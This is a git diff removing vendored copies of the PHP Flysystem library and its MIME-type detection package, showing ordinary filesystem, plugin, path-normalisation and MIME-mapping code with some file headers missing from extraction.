- } - - $callback = [$filesystem, $method]; - - return call_user_func_array($callback, $arguments); - } - - /** - * @param string $path - * - * @throws InvalidArgumentException - * - * @return string[] [:prefix, :path] - */ - protected function getPrefixAndPath($path) - { - if (strpos($path, '://') < 1) { - throw new InvalidArgumentException('No prefix detected in path: ' . $path); - } - - return explode('://', $path, 2); - } - - /** - * Check whether a file exists. - * - * @param string $path - * - * @return bool - */ - public function has($path) - { - list($prefix, $path) = $this->getPrefixAndPath($path); - - return $this->getFilesystem($prefix)->has($path); - } - - /** - * Read a file. - * - * @param string $path The path to the file. - * - * @throws FileNotFoundException - * - * @return string|false The file contents or false on failure. - */ - public function read($path) - { - list($prefix, $path) = $this->getPrefixAndPath($path); - - return $this->getFilesystem($prefix)->read($path); - } - - /** - * Retrieves a read-stream for a path. - * - * @param string $path The path to the file. - * - * @throws FileNotFoundException - * - * @return resource|false The path resource or false on failure. - */ - public function readStream($path) - { - list($prefix, $path) = $this->getPrefixAndPath($path); - - return $this->getFilesystem($prefix)->readStream($path); - } - - /** - * Get a file's metadata. - * - * @param string $path The path to the file. - * - * @throws FileNotFoundException - * - * @return array|false The file metadata or false on failure. - */ - public function getMetadata($path) - { - list($prefix, $path) = $this->getPrefixAndPath($path); - - return $this->getFilesystem($prefix)->getMetadata($path); - } - - /** - * Get a file's size. - * - * @param string $path The path to the file. - * - * @throws FileNotFoundException - * - * @return int|false The file size or false on failure. - */ - public function getSize($path) - { - list($prefix, $path) = $this->getPrefixAndPath($path); - - return $this->getFilesystem($prefix)->getSize($path); - } - - /** - * Get a file's mime-type. - * - * @param string $path The path to the file. - * - * @throws FileNotFoundException - * - * @return string|false The file mime-type or false on failure. - */ - public function getMimetype($path) - { - list($prefix, $path) = $this->getPrefixAndPath($path); - - return $this->getFilesystem($prefix)->getMimetype($path); - } - - /** - * Get a file's timestamp. - * - * @param string $path The path to the file. - * - * @throws FileNotFoundException - * - * @return string|false The timestamp or false on failure. - */ - public function getTimestamp($path) - { - list($prefix, $path) = $this->getPrefixAndPath($path); - - return $this->getFilesystem($prefix)->getTimestamp($path); - } - - /** - * Get a file's visibility. - * - * @param string $path The path to the file. - * - * @throws FileNotFoundException - * - * @return string|false The visibility (public|private) or false on failure. - */ - public function getVisibility($path) - { - list($prefix, $path) = $this->getPrefixAndPath($path); - - return $this->getFilesystem($prefix)->getVisibility($path); - } - - /** - * Write a new file. - * - * @param string $path The path of the new file. - * @param string $contents The file contents. - * @param array $config An optional configuration array. - * - * @throws FileExistsException - * - * @return bool True on success, false on failure. - */ - public function write($path, $contents, array $config = []) - { - list($prefix, $path) = $this->getPrefixAndPath($path); - - return $this->getFilesystem($prefix)->write($path, $contents, $config); - } - - /** - * Write a new file using a stream. - * - * @param string $path The path of the new file. - * @param resource $resource The file handle. - * @param array $config An optional configuration array. - * - * @throws InvalidArgumentException If $resource is not a file handle. - * @throws FileExistsException - * - * @return bool True on success, false on failure. - */ - public function writeStream($path, $resource, array $config = []) - { - list($prefix, $path) = $this->getPrefixAndPath($path); - - return $this->getFilesystem($prefix)->writeStream($path, $resource, $config); - } - - /** - * Update an existing file. - * - * @param string $path The path of the existing file. - * @param string $contents The file contents. - * @param array $config An optional configuration array. - * - * @throws FileNotFoundException - * - * @return bool True on success, false on failure. - */ - public function update($path, $contents, array $config = []) - { - list($prefix, $path) = $this->getPrefixAndPath($path); - - return $this->getFilesystem($prefix)->update($path, $contents, $config); - } - - /** - * Update an existing file using a stream. - * - * @param string $path The path of the existing file. - * @param resource $resource The file handle. - * @param array $config An optional configuration array. - * - * @throws InvalidArgumentException If $resource is not a file handle. - * @throws FileNotFoundException - * - * @return bool True on success, false on failure. - */ - public function updateStream($path, $resource, array $config = []) - { - list($prefix, $path) = $this->getPrefixAndPath($path); - - return $this->getFilesystem($prefix)->updateStream($path, $resource, $config); - } - - /** - * Rename a file. - * - * @param string $path Path to the existing file. - * @param string $newpath The new path of the file. - * - * @throws FileExistsException Thrown if $newpath exists. - * @throws FileNotFoundException Thrown if $path does not exist. - * - * @return bool True on success, false on failure. - */ - public function rename($path, $newpath) - { - list($prefix, $path) = $this->getPrefixAndPath($path); - - return $this->getFilesystem($prefix)->rename($path, $newpath); - } - - /** - * Delete a file. - * - * @param string $path - * - * @throws FileNotFoundException - * - * @return bool True on success, false on failure. - */ - public function delete($path) - { - list($prefix, $path) = $this->getPrefixAndPath($path); - - return $this->getFilesystem($prefix)->delete($path); - } - - /** - * Delete a directory. - * - * @param string $dirname - * - * @throws RootViolationException Thrown if $dirname is empty. - * - * @return bool True on success, false on failure. - */ - public function deleteDir($dirname) - { - list($prefix, $dirname) = $this->getPrefixAndPath($dirname); - - return $this->getFilesystem($prefix)->deleteDir($dirname); - } - - /** - * Create a directory. - * - * @param string $dirname The name of the new directory. - * @param array $config An optional configuration array. - * - * @return bool True on success, false on failure. - */ - public function createDir($dirname, array $config = []) - { - list($prefix, $dirname) = $this->getPrefixAndPath($dirname); - - return $this->getFilesystem($prefix)->createDir($dirname); - } - - /** - * Set the visibility for a file. - * - * @param string $path The path to the file. - * @param string $visibility One of 'public' or 'private'. - * - * @throws FileNotFoundException - * - * @return bool True on success, false on failure. - */ - public function setVisibility($path, $visibility) - { - list($prefix, $path) = $this->getPrefixAndPath($path); - - return $this->getFilesystem($prefix)->setVisibility($path, $visibility); - } - - /** - * Create a file or update if exists. - * - * @param string $path The path to the file. - * @param string $contents The file contents. - * @param array $config An optional configuration array. - * - * @return bool True on success, false on failure. - */ - public function put($path, $contents, array $config = []) - { - list($prefix, $path) = $this->getPrefixAndPath($path); - - return $this->getFilesystem($prefix)->put($path, $contents, $config); - } - - /** - * Create a file or update if exists. - * - * @param string $path The path to the file. - * @param resource $resource The file handle. - * @param array $config An optional configuration array. - * - * @throws InvalidArgumentException Thrown if $resource is not a resource. - * - * @return bool True on success, false on failure. - */ - public function putStream($path, $resource, array $config = []) - { - list($prefix, $path) = $this->getPrefixAndPath($path); - - return $this->getFilesystem($prefix)->putStream($path, $resource, $config); - } - - /** - * Read and delete a file. - * - * @param string $path The path to the file. - * - * @throws FileNotFoundException - * - * @return string|false The file contents, or false on failure. - */ - public function readAndDelete($path) - { - list($prefix, $path) = $this->getPrefixAndPath($path); - - return $this->getFilesystem($prefix)->readAndDelete($path); - } - - /** - * Get a file/directory handler. - * - * @deprecated - * - * @param string $path The path to the file. - * @param Handler $handler An optional existing handler to populate. - * - * @return Handler Either a file or directory handler. - */ - public function get($path, Handler $handler = null) - { - list($prefix, $path) = $this->getPrefixAndPath($path); - - return $this->getFilesystem($prefix)->get($path); - } -} diff --git a/vendor/league/flysystem/src/NotSupportedException.php b/vendor/league/flysystem/src/NotSupportedException.php deleted file mode 100644 index e0a989b..0000000 --- a/vendor/league/flysystem/src/NotSupportedException.php +++ /dev/null @@ -1,37 +0,0 @@ -getPathname()); - } - - /** - * Create a new exception for a link. - * - * @param string $systemType - * - * @return static - */ - public static function forFtpSystemType($systemType) - { - $message = "The FTP system type '$systemType' is currently not supported."; - - return new static($message); - } -} diff --git a/vendor/league/flysystem/src/Plugin/AbstractPlugin.php b/vendor/league/flysystem/src/Plugin/AbstractPlugin.php deleted file mode 100644 index 0d56789..0000000 --- a/vendor/league/flysystem/src/Plugin/AbstractPlugin.php +++ /dev/null @@ -1,24 +0,0 @@ -filesystem = $filesystem; - } -} diff --git a/vendor/league/flysystem/src/Plugin/EmptyDir.php b/vendor/league/flysystem/src/Plugin/EmptyDir.php deleted file mode 100644 index b5ae7f5..0000000 --- a/vendor/league/flysystem/src/Plugin/EmptyDir.php +++ /dev/null @@ -1,34 +0,0 @@ -filesystem->listContents($dirname, false); - - foreach ($listing as $item) { - if ($item['type'] === 'dir') { - $this->filesystem->deleteDir($item['path']); - } else { - $this->filesystem->delete($item['path']); - } - } - } -} diff --git a/vendor/league/flysystem/src/Plugin/ForcedCopy.php b/vendor/league/flysystem/src/Plugin/ForcedCopy.php deleted file mode 100644 index a41e9f3..0000000 --- a/vendor/league/flysystem/src/Plugin/ForcedCopy.php +++ /dev/null @@ -1,44 +0,0 @@ -filesystem->delete($newpath); - } catch (FileNotFoundException $e) { - // The destination path does not exist. That's ok. - $deleted = true; - } - - if ($deleted) { - return $this->filesystem->copy($path, $newpath); - } - - return false; - } -} diff --git a/vendor/league/flysystem/src/Plugin/ForcedRename.php b/vendor/league/flysystem/src/Plugin/ForcedRename.php deleted file mode 100644 index 3f51cd6..0000000 --- a/vendor/league/flysystem/src/Plugin/ForcedRename.php +++ /dev/null @@ -1,44 +0,0 @@ -filesystem->delete($newpath); - } catch (FileNotFoundException $e) { - // The destination path does not exist. That's ok. - $deleted = true; - } - - if ($deleted) { - return $this->filesystem->rename($path, $newpath); - } - - return false; - } -} diff --git a/vendor/league/flysystem/src/Plugin/GetWithMetadata.php b/vendor/league/flysystem/src/Plugin/GetWithMetadata.php deleted file mode 100644 index 6fe4f05..0000000 --- a/vendor/league/flysystem/src/Plugin/GetWithMetadata.php +++ /dev/null @@ -1,51 +0,0 @@ -filesystem->getMetadata($path); - - if ( ! $object) { - return false; - } - - $keys = array_diff($metadata, array_keys($object)); - - foreach ($keys as $key) { - if ( ! method_exists($this->filesystem, $method = 'get' . ucfirst($key))) { - throw new InvalidArgumentException('Could not fetch metadata: ' . $key); - } - - $object[$key] = $this->filesystem->{$method}($path); - } - - return $object; - } -} diff --git a/vendor/league/flysystem/src/Plugin/ListFiles.php b/vendor/league/flysystem/src/Plugin/ListFiles.php deleted file mode 100644 index 9669fe7..0000000 --- a/vendor/league/flysystem/src/Plugin/ListFiles.php +++ /dev/null @@ -1,35 +0,0 @@ -filesystem->listContents($directory, $recursive); - - $filter = function ($object) { - return $object['type'] === 'file'; - }; - - return array_values(array_filter($contents, $filter)); - } -} diff --git a/vendor/league/flysystem/src/Plugin/ListPaths.php b/vendor/league/flysystem/src/Plugin/ListPaths.php deleted file mode 100644 index 514bdf0..0000000 --- a/vendor/league/flysystem/src/Plugin/ListPaths.php +++ /dev/null @@ -1,36 +0,0 @@ -filesystem->listContents($directory, $recursive); - - foreach ($contents as $object) { - $result[] = $object['path']; - } - - return $result; - } -} diff --git a/vendor/league/flysystem/src/Plugin/ListWith.php b/vendor/league/flysystem/src/Plugin/ListWith.php deleted file mode 100644 index d90464e..0000000 --- a/vendor/league/flysystem/src/Plugin/ListWith.php +++ /dev/null @@ -1,60 +0,0 @@ -filesystem->listContents($directory, $recursive); - - foreach ($contents as $index => $object) { - if ($object['type'] === 'file') { - $missingKeys = array_diff($keys, array_keys($object)); - $contents[$index] = array_reduce($missingKeys, [$this, 'getMetadataByName'], $object); - } - } - - return $contents; - } - - /** - * Get a meta-data value by key name. - * - * @param array $object - * @param string $key - * - * @return array - */ - protected function getMetadataByName(array $object, $key) - { - $method = 'get' . ucfirst($key); - - if ( ! method_exists($this->filesystem, $method)) { - throw new \InvalidArgumentException('Could not get meta-data for key: ' . $key); - } - - $object[$key] = $this->filesystem->{$method}($object['path']); - - return $object; - } -} diff --git a/vendor/league/flysystem/src/Plugin/PluggableTrait.php b/vendor/league/flysystem/src/Plugin/PluggableTrait.php deleted file mode 100644 index 922edfe..0000000 --- a/vendor/league/flysystem/src/Plugin/PluggableTrait.php +++ /dev/null @@ -1,97 +0,0 @@ -plugins[$plugin->getMethod()] = $plugin; - - return $this; - } - - /** - * Find a specific plugin. - * - * @param string $method - * - * @throws PluginNotFoundException - * - * @return PluginInterface - */ - protected function findPlugin($method) - { - if ( ! isset($this->plugins[$method])) { - throw new PluginNotFoundException('Plugin not found for method: ' . $method); - } - - return $this->plugins[$method]; - } - - /** - * Invoke a plugin by method name. - * - * @param string $method - * @param array $arguments - * @param FilesystemInterface $filesystem - * - * @throws PluginNotFoundException - * - * @return mixed - */ - protected function invokePlugin($method, array $arguments, FilesystemInterface $filesystem) - { - $plugin = $this->findPlugin($method); - $plugin->setFilesystem($filesystem); - $callback = [$plugin, 'handle']; - - return call_user_func_array($callback, $arguments); - } - - /** - * Plugins pass-through. - * - * @param string $method - * @param array $arguments - * - * @throws BadMethodCallException - * - * @return mixed - */ - public function __call($method, array $arguments) - { - try { - return $this->invokePlugin($method, $arguments, $this); - } catch (PluginNotFoundException $e) { - throw new BadMethodCallException( - 'Call to undefined method ' - . get_class($this) - . '::' . $method - ); - } - } -} diff --git a/vendor/league/flysystem/src/Plugin/PluginNotFoundException.php b/vendor/league/flysystem/src/Plugin/PluginNotFoundException.php deleted file mode 100644 index fd1d7e7..0000000 --- a/vendor/league/flysystem/src/Plugin/PluginNotFoundException.php +++ /dev/null @@ -1,10 +0,0 @@ -hash = spl_object_hash($this); - static::$safeStorage[$this->hash] = []; - } - - public function storeSafely($key, $value) - { - static::$safeStorage[$this->hash][$key] = $value; - } - - public function retrieveSafely($key) - { - if (array_key_exists($key, static::$safeStorage[$this->hash])) { - return static::$safeStorage[$this->hash][$key]; - } - } - - public function __destruct() - { - unset(static::$safeStorage[$this->hash]); - } -} diff --git a/vendor/league/flysystem/src/UnreadableFileException.php b/vendor/league/flysystem/src/UnreadableFileException.php deleted file mode 100644 index e668033..0000000 --- a/vendor/league/flysystem/src/UnreadableFileException.php +++ /dev/null @@ -1,18 +0,0 @@ -getRealPath() - ) - ); - } -} diff --git a/vendor/league/flysystem/src/Util.php b/vendor/league/flysystem/src/Util.php deleted file mode 100644 index 76454a0..0000000 --- a/vendor/league/flysystem/src/Util.php +++ /dev/null @@ -1,353 +0,0 @@ - '']; - } - - /** - * Normalize a dirname return value. - * - * @param string $dirname - * - * @return string normalized dirname - */ - public static function normalizeDirname($dirname) - { - return $dirname === '.' ? '' : $dirname; - } - - /** - * Get a normalized dirname from a path. - * - * @param string $path - * - * @return string dirname - */ - public static function dirname($path) - { - return static::normalizeDirname(dirname($path)); - } - - /** - * Map result arrays. - * - * @param array $object - * @param array $map - * - * @return array mapped result - */ - public static function map(array $object, array $map) - { - $result = []; - - foreach ($map as $from => $to) { - if ( ! isset($object[$from])) { - continue; - } - - $result[$to] = $object[$from]; - } - - return $result; - } - - /** - * Normalize path. - * - * @param string $path - * - * @throws LogicException - * - * @return string - */ - public static function normalizePath($path) - { - return static::normalizeRelativePath($path); - } - - /** - * Normalize relative directories in a path. - * - * @param string $path - * - * @throws LogicException - * - * @return string - */ - public static function normalizeRelativePath($path) - { - $path = str_replace('\\', '/', $path); - $path = static::removeFunkyWhiteSpace($path); - - $parts = []; - - foreach (explode('/', $path) as $part) { - switch ($part) { - case '': - case '.': - break; - - case '..': - if (empty($parts)) { - throw new LogicException( - 'Path is outside of the defined root, path: [' . $path . ']' - ); - } - array_pop($parts); - break; - - default: - $parts[] = $part; - break; - } - } - - return implode('/', $parts); - } - - /** - * Removes unprintable characters and invalid unicode characters. - * - * @param string $path - * - * @return string $path - */ - protected static function removeFunkyWhiteSpace($path) - { - // We do this check in a loop, since removing invalid unicode characters - // can lead to new characters being created. - while (preg_match('#\p{C}+|^\./#u', $path)) { - $path = preg_replace('#\p{C}+|^\./#u', '', $path); - } - - return $path; - } - - /** - * Normalize prefix. - * - * @param string $prefix - * @param string $separator - * - * @return string normalized path - */ - public static function normalizePrefix($prefix, $separator) - { - return rtrim($prefix, $separator) . $separator; - } - - /** - * Get content size. - * - * @param string $contents - * - * @return int content size - */ - public static function contentSize($contents) - { - return defined('MB_OVERLOAD_STRING') ? mb_strlen($contents, '8bit') : strlen($contents); - } - - /** - * Guess MIME Type based on the path of the file and it's content. - * - * @param string $path - * @param string|resource $content - * - * @return string|null MIME Type or NULL if no extension detected - */ - public static function guessMimeType($path, $content) - { - $mimeType = MimeType::detectByContent($content); - - if ( ! (empty($mimeType) || in_array($mimeType, ['application/x-empty', 'text/plain', 'text/x-asm']))) { - return $mimeType; - } - - return MimeType::detectByFilename($path); - } - - /** - * Emulate directories. - * - * @param array $listing - * - * @return array listing with emulated directories - */ - public static function emulateDirectories(array $listing) - { - $directories = []; - $listedDirectories = []; - - foreach ($listing as $object) { - list($directories, $listedDirectories) = static::emulateObjectDirectories($object, $directories, $listedDirectories); - } - - $directories = array_diff(array_unique($directories), array_unique($listedDirectories)); - - foreach ($directories as $directory) { - $listing[] = static::pathinfo($directory) + ['type' => 'dir']; - } - - return $listing; - } - - /** - * Ensure a Config instance. - * - * @param null|array|Config $config - * - * @return Config config instance - * - * @throw LogicException - */ - public static function ensureConfig($config) - { - if ($config === null) { - return new Config(); - } - - if ($config instanceof Config) { - return $config; - } - - if (is_array($config)) { - return new Config($config); - } - - throw new LogicException('A config should either be an array or a Flysystem\Config object.'); - } - - /** - * Rewind a stream. - * - * @param resource $resource - */ - public static function rewindStream($resource) - { - if (ftell($resource) !== 0 && static::isSeekableStream($resource)) { - rewind($resource); - } - } - - public static function isSeekableStream($resource) - { - $metadata = stream_get_meta_data($resource); - - return $metadata['seekable']; - } - - /** - * Get the size of a stream. - * - * @param resource $resource - * - * @return int|null stream size - */ - public static function getStreamSize($resource) - { - $stat = fstat($resource); - - if ( ! is_array($stat) || ! isset($stat['size'])) { - return null; - } - - return $stat['size']; - } - - /** - * Emulate the directories of a single object. - * - * @param array $object - * @param array $directories - * @param array $listedDirectories - * - * @return array - */ - protected static function emulateObjectDirectories(array $object, array $directories, array $listedDirectories) - { - if ($object['type'] === 'dir') { - $listedDirectories[] = $object['path']; - } - - if ( ! isset($object['dirname']) || trim($object['dirname']) === '') { - return [$directories, $listedDirectories]; - } - - $parent = $object['dirname']; - - while (isset($parent) && trim($parent) !== '' && ! in_array($parent, $directories)) { - $directories[] = $parent; - $parent = static::dirname($parent); - } - - if (isset($object['type']) && $object['type'] === 'dir') { - $listedDirectories[] = $object['path']; - - return [$directories, $listedDirectories]; - } - - return [$directories, $listedDirectories]; - } - - /** - * Returns the trailing name component of the path. - * - * @param string $path - * - * @return string - */ - private static function basename($path) - { - $separators = DIRECTORY_SEPARATOR === '/' ? '/' : '\/'; - - $path = rtrim($path, $separators); - - $basename = preg_replace('#.*?([^' . preg_quote($separators, '#') . ']+$)#', '$1', $path); - - if (DIRECTORY_SEPARATOR === '/') { - return $basename; - } - // @codeCoverageIgnoreStart - // Extra Windows path munging. This is tested via AppVeyor, but code - // coverage is not reported. - - // Handle relative paths with drive letters. c:file.txt. - while (preg_match('#^[a-zA-Z]{1}:[^\\\/]#', $basename)) { - $basename = substr($basename, 2); - } - - // Remove colon for standalone drive letter names. - if (preg_match('#^[a-zA-Z]{1}:$#', $basename)) { - $basename = rtrim($basename, ':'); - } - - return $basename; - // @codeCoverageIgnoreEnd - } -} diff --git a/vendor/league/flysystem/src/Util/ContentListingFormatter.php b/vendor/league/flysystem/src/Util/ContentListingFormatter.php deleted file mode 100644 index ae0d3b9..0000000 --- a/vendor/league/flysystem/src/Util/ContentListingFormatter.php +++ /dev/null @@ -1,122 +0,0 @@ -directory = rtrim($directory, '/'); - $this->recursive = $recursive; - $this->caseSensitive = $caseSensitive; - } - - /** - * Format contents listing. - * - * @param array $listing - * - * @return array - */ - public function formatListing(array $listing) - { - $listing = array_filter(array_map([$this, 'addPathInfo'], $listing), [$this, 'isEntryOutOfScope']); - - return $this->sortListing(array_values($listing)); - } - - private function addPathInfo(array $entry) - { - return $entry + Util::pathinfo($entry['path']); - } - - /** - * Determine if the entry is out of scope. - * - * @param array $entry - * - * @return bool - */ - private function isEntryOutOfScope(array $entry) - { - if (empty($entry['path']) && $entry['path'] !== '0') { - return false; - } - - if ($this->recursive) { - return $this->residesInDirectory($entry); - } - - return $this->isDirectChild($entry); - } - - /** - * Check if the entry resides within the parent directory. - * - * @param array $entry - * - * @return bool - */ - private function residesInDirectory(array $entry) - { - if ($this->directory === '') { - return true; - } - - return $this->caseSensitive - ? strpos($entry['path'], $this->directory . '/') === 0 - : stripos($entry['path'], $this->directory . '/') === 0; - } - - /** - * Check if the entry is a direct child of the directory. - * - * @param array $entry - * - * @return bool - */ - private function isDirectChild(array $entry) - { - return $this->caseSensitive - ? $entry['dirname'] === $this->directory - : strcasecmp($this->directory, $entry['dirname']) === 0; - } - - /** - * @param array $listing - * - * @return array - */ - private function sortListing(array $listing) - { - usort($listing, function ($a, $b) { - return strcasecmp($a['path'], $b['path']); - }); - - return $listing; - } -} diff --git a/vendor/league/flysystem/src/Util/MimeType.php b/vendor/league/flysystem/src/Util/MimeType.php deleted file mode 100644 index 35cba3f..0000000 --- a/vendor/league/flysystem/src/Util/MimeType.php +++ /dev/null @@ -1,80 +0,0 @@ -detectMimeTypeFromBuffer($content); - } - - return 'text/plain'; - } - - /** - * Detects MIME Type based on file extension. - * - * @param string $extension - * - * @return string MIME Type - */ - public static function detectByFileExtension($extension) - { - return static::detector()->detectMimeTypeFromPath('artificial.' . $extension) ?: 'text/plain'; - } - - /** - * @param string $filename - * - * @return string MIME Type - */ - public static function detectByFilename($filename) - { - return static::detector()->detectMimeTypeFromPath($filename) ?: 'text/plain'; - } - - /** - * @return array Map of file extension to MIME Type - */ - public static function getExtensionToMimeTypeMap() - { - return static::$extensionToMimeTypeMap; - } -} diff --git a/vendor/league/flysystem/src/Util/StreamHasher.php b/vendor/league/flysystem/src/Util/StreamHasher.php deleted file mode 100644 index 938ec5d..0000000 --- a/vendor/league/flysystem/src/Util/StreamHasher.php +++ /dev/null @@ -1,36 +0,0 @@ -algo = $algo; - } - - /** - * @param resource $resource - * - * @return string - */ - public function hash($resource) - { - rewind($resource); - $context = hash_init($this->algo); - hash_update_stream($context, $resource); - fclose($resource); - - return hash_final($context); - } -} diff --git a/vendor/league/mime-type-detection/LICENSE b/vendor/league/mime-type-detection/LICENSE deleted file mode 100644 index 7c1027d..0000000 --- a/vendor/league/mime-type-detection/LICENSE +++ /dev/null @@ -1,19 +0,0 @@ -Copyright (c) 2013-2020 Frank de Jonge - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is furnished -to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/vendor/league/mime-type-detection/composer.json b/vendor/league/mime-type-detection/composer.json deleted file mode 100644 index 19a62a7..0000000 --- a/vendor/league/mime-type-detection/composer.json +++ /dev/null @@ -1,24 +0,0 @@ -{ - "name": "league/mime-type-detection", - "description": "Mime-type detection for Flysystem", - "license": "MIT", - "authors": [ - { - "name": "Frank de Jonge", - "email": "info@frankdejonge.nl" - } - ], - "require": { - "php": "^7.2 || ^8.0", - "ext-fileinfo": "*" - }, - "require-dev": { - "phpunit/phpunit": "^8.5.8", - "phpstan/phpstan": "^0.12.36" - }, - "autoload": { - "psr-4": { - "League\\MimeTypeDetection\\": "src" - } - } -} diff --git a/vendor/league/mime-type-detection/src/EmptyExtensionToMimeTypeMap.php b/vendor/league/mime-type-detection/src/EmptyExtensionToMimeTypeMap.php deleted file mode 100644 index fc04241..0000000 --- a/vendor/league/mime-type-detection/src/EmptyExtensionToMimeTypeMap.php +++ /dev/null @@ -1,13 +0,0 @@ -extensions = $extensions ?: new GeneratedExtensionToMimeTypeMap(); - } - - public function detectMimeType(string $path, $contents): ?string - { - return $this->detectMimeTypeFromPath($path); - } - - public function detectMimeTypeFromPath(string $path): ?string - { - $extension = strtolower(pathinfo($path, PATHINFO_EXTENSION)); - - return $this->extensions->lookupMimeType($extension); - } - - public function detectMimeTypeFromFile(string $path): ?string - { - return $this->detectMimeTypeFromPath($path); - } - - public function detectMimeTypeFromBuffer(string $contents): ?string - { - return null; - } -} diff --git a/vendor/league/mime-type-detection/src/ExtensionToMimeTypeMap.php b/vendor/league/mime-type-detection/src/ExtensionToMimeTypeMap.php deleted file mode 100644 index 1dad7bc..0000000 --- a/vendor/league/mime-type-detection/src/ExtensionToMimeTypeMap.php +++ /dev/null @@ -1,10 +0,0 @@ -finfo = new finfo(FILEINFO_MIME_TYPE, $magicFile); - $this->extensionMap = $extensionMap ?: new GeneratedExtensionToMimeTypeMap(); - } - - public function detectMimeType(string $path, $contents): ?string - { - $mimeType = is_string($contents) - ? (@$this->finfo->buffer($contents) ?: null) - : null; - - if ($mimeType !== null && ! in_array($mimeType, self::INCONCLUSIVE_MIME_TYPES)) { - return $mimeType; - } - - return $this->detectMimeTypeFromPath($path); - } - - public function detectMimeTypeFromPath(string $path): ?string - { - $extension = strtolower(pathinfo($path, PATHINFO_EXTENSION)); - - return $this->extensionMap->lookupMimeType($extension); - } - - public function detectMimeTypeFromFile(string $path): ?string - { - return @$this->finfo->file($path) ?: null; - } - - public function detectMimeTypeFromBuffer(string $contents): ?string - { - return @$this->finfo->buffer($contents) ?: null; - } -} - diff --git a/vendor/league/mime-type-detection/src/GeneratedExtensionToMimeTypeMap.php b/vendor/league/mime-type-detection/src/GeneratedExtensionToMimeTypeMap.php deleted file mode 100644 index a208647..0000000 --- a/vendor/league/mime-type-detection/src/GeneratedExtensionToMimeTypeMap.php +++ /dev/null @@ -1,1207 +0,0 @@ - 'application/vnd.1000minds.decision-model+xml', - '3dml' => 'text/vnd.in3d.3dml', - '3ds' => 'image/x-3ds', - '3g2' => 'video/3gpp2', - '3gp' => 'video/3gp', - '3gpp' => 'video/3gpp', - '3mf' => 'model/3mf', - '7z' => 'application/x-7z-compressed', - '7zip' => 'application/x-7z-compressed', - '123' => 'application/vnd.lotus-1-2-3', - 'aab' => 'application/x-authorware-bin', - 'aac' => 'audio/x-acc', - 'aam' => 'application/x-authorware-map', - 'aas' => 'application/x-authorware-seg', - 'abw' => 'application/x-abiword', - 'ac' => 'application/vnd.nokia.n-gage.ac+xml', - 'ac3' => 'audio/ac3', - 'acc' => 'application/vnd.americandynamics.acc', - 'ace' => 'application/x-ace-compressed', - 'acu' => 'application/vnd.acucobol', - 'acutc' => 'application/vnd.acucorp', - 'adp' => 'audio/adpcm', - 'aep' => 'application/vnd.audiograph', - 'afm' => 'application/x-font-type1', - 'afp' => 'application/vnd.ibm.modcap', - 'ahead' => 'application/vnd.ahead.space', - 'ai' => 'application/pdf', - 'aif' => 'audio/x-aiff', - 'aifc' => 'audio/x-aiff', - 'aiff' => 'audio/x-aiff', - 'air' => 'application/vnd.adobe.air-application-installer-package+zip', - 'ait' => 'application/vnd.dvb.ait', - 'ami' => 'application/vnd.amiga.ami', - 'apk' => 'application/vnd.android.package-archive', - 'apng' => 'image/apng', - 'appcache' => 'text/cache-manifest', - 'application' => 'application/x-ms-application', - 'apr' => 'application/vnd.lotus-approach', - 'arc' => 'application/x-freearc', - 'arj' => 'application/x-arj', - 'asc' => 'application/pgp-signature', - 'asf' => 'video/x-ms-asf', - 'asm' => 'text/x-asm', - 'aso' => 'application/vnd.accpac.simply.aso', - 'asx' => 'video/x-ms-asf', - 'atc' => 'application/vnd.acucorp', - 'atom' => 'application/atom+xml', - 'atomcat' => 'application/atomcat+xml', - 'atomdeleted' => 'application/atomdeleted+xml', - 'atomsvc' => 'application/atomsvc+xml', - 'atx' => 'application/vnd.antix.game-component', - 'au' => 'audio/x-au', - 'avi' => 'video/x-msvideo', - 'avif' => 'image/avif', - 'aw' => 'application/applixware', - 'azf' => 'application/vnd.airzip.filesecure.azf', - 'azs' => 'application/vnd.airzip.filesecure.azs', - 'azv' => 'image/vnd.airzip.accelerator.azv', - 'azw' => 'application/vnd.amazon.ebook', - 'b16' => 'image/vnd.pco.b16', - 'bat' => 'application/x-msdownload', - 'bcpio' => 'application/x-bcpio', - 'bdf' => 'application/x-font-bdf', - 'bdm' => 'application/vnd.syncml.dm+wbxml', - 'bdoc' => 'application/x-bdoc', - 'bed' => 'application/vnd.realvnc.bed', - 'bh2' => 'application/vnd.fujitsu.oasysprs', - 'bin' => 'application/octet-stream', - 'blb' => 'application/x-blorb', - 'blorb' => 'application/x-blorb', - 'bmi' => 'application/vnd.bmi', - 'bmml' => 'application/vnd.balsamiq.bmml+xml', - 'bmp' => 'image/bmp', - 'book' => 'application/vnd.framemaker', - 'box' => 'application/vnd.previewsystems.box', - 'boz' => 'application/x-bzip2', - 'bpk' => 'application/octet-stream', - 'bpmn' => 'application/octet-stream', - 'bsp' => 'model/vnd.valve.source.compiled-map', - 'btif' => 'image/prs.btif', - 'buffer' => 'application/octet-stream', - 'bz' => 'application/x-bzip', - 'bz2' => 'application/x-bzip2', - 'c' => 'text/x-c', - 'c4d' => 'application/vnd.clonk.c4group', - 'c4f' => 'application/vnd.clonk.c4group', - 'c4g' => 'application/vnd.clonk.c4group', - 'c4p' => 'application/vnd.clonk.c4group', - 'c4u' => 'application/vnd.clonk.c4group', - 'c11amc' => 'application/vnd.cluetrust.cartomobile-config', - 'c11amz' => 'application/vnd.cluetrust.cartomobile-config-pkg', - 'cab' => 'application/vnd.ms-cab-compressed', - 'caf' => 'audio/x-caf', - 'cap' => 'application/vnd.tcpdump.pcap', - 'car' => 'application/vnd.curl.car', - 'cat' => 'application/vnd.ms-pki.seccat', - 'cb7' => 'application/x-cbr', - 'cba' => 'application/x-cbr', - 'cbr' => 'application/x-cbr', - 'cbt' => 'application/x-cbr', - 'cbz' => 'application/x-cbr', - 'cc' => 'text/x-c', 